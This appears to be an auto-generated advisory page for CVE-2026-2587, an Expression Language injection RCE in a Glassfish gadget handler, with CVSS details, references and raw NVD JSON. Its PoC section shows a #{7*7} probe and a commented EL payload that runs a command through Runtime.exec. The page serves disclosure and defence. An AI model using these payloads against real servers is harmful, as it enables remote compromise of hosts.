CVE-2026-2587

Description

A critical Remote Code Execution (RCE) vulnerability was identified in the server-side template rendering mechanism used by the Glassfish gadget handler. The application processes .xml files and evaluates user-supplied values within a context where Expression Language (EL) “expressions” are processed without proper sanitization or escaping. By injecting expressions such as #{7*7}, the server returns 49, confirming server-side EL evaluation. This issue allows a remote attacker to fully compromise the underlying host, enabling capabilities as reading/modifying data, executing arbitrary commands, persistence, and lateral movement.

CVSS Details

CVSS Score

9.6

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

版本信息未在描述中明确提及

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for EL Injection in Glassfish -->
<!-- Malicious XML payload to trigger EL evaluation -->
<payload>
    <data>#{7*7}</data>
</payload>
<!-- Expected server response: 49 -->
<!-- Command execution example (not for production use): -->
<!-- <data>#{"".getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")}</data> -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-2587
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-2587
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-2587/
[4] VulDB https://vuldb.com/cve/CVE-2026-2587
[5] https://gitlab.eclipse.org/security/cve-assignment/-/issues/86

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-2587", "sourceIdentifier": "[email protected]", "published": "2026-05-19T15:16:28.577", "lastModified": "2026-05-19T17:57:25.143", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A critical Remote Code Execution (RCE) vulnerability was identified in the server-side template rendering mechanism used by the Glassfish gadget handler. The application processes .xml files and evaluates user-supplied values within a context where Expression Language (EL) “expressions” are processed without proper sanitization or escaping. By injecting expressions such as #{7*7}, the server returns 49, confirming server-side EL evaluation. This issue allows a remote attacker to fully compromise the underlying host, enabling capabilities as reading/modifying data, executing arbitrary commands, persistence, and lateral movement."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-917"}]}], "references": [{"url": "https://gitlab.eclipse.org/security/cve-assignment/-/issues/86", "source": "[email protected]"}]}}